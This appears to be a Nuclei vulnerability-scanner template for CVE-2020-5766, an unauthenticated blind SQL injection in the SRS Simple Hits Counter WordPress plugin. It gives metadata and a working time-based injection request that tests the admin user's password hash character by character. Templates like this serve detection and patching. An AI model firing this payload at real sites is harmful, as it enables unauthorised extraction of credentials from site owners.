漏洞描述
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') in SRS Simple Hits Counter Plugin for WordPress 1.0.3 and 1.0.4 allows a remote, unauthenticated attacker to determine the value of database fields.
id: CVE-2020-5766
info:
name: SRS Simple Hits Counter 1.0.3-1.0.4 - Unauthenticated Blind SQL Injection
author: DhiyaneshDk
severity: high
description: |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') in SRS Simple Hits Counter Plugin for WordPress 1.0.3 and 1.0.4 allows a remote, unauthenticated attacker to determine the value of database fields.
reference:
- https://github.com/tenable/poc/blob/master/WordPress/plugins/SRS_Simple_Hits_Counter/blind_sqli_tra_2020_42.py
- https://www.tenable.com/security/research/tra-2020-42
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-5766
cwe-id: CWE-89
epss-score: 0.27523
epss-percentile: 0.96264
cpe: cpe:2.3:a:srs_simple_hits_counter_project:srs_simple_hits_counter:1.0.3:*:*:*:*:wordpress:*:*
metadata:
vendor: srs_simple_hits_counter_project
product: srs_simple_hits_counter
framework: wordpress
publicwww-query: "/wp-content/plugins/srs-simple-hits-counter/"
tags: cve,cve2020,srs-simple-hits-counter,wordpress,wp,wp-plugin,time-based-sqli,sqli
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/srs-simple-hits-counter")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
@timeout 20s
GET /wp-admin/admin-ajax.php?action=srs_update_counter&post_id=1+and+1=0)+union+select+(select+if(ascii(substring((select+user_pass+from+wp_users+where+user_login=char(97,100,109,105,110)),%d,1))=%d,sleep(6),sleep(0))),1,1,1,1,1;-- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
# digest: 4a0a00473045022100ccbc7ee138da6c0b9f6cf31517beea3ece43ab5535e701dcfed4976fc2fb7e4a022074f382579d590e21f48f6b0eb233616161450a2be00ca620277b7c65ae8838b6:922c64590222798bb761d5b6d8e72950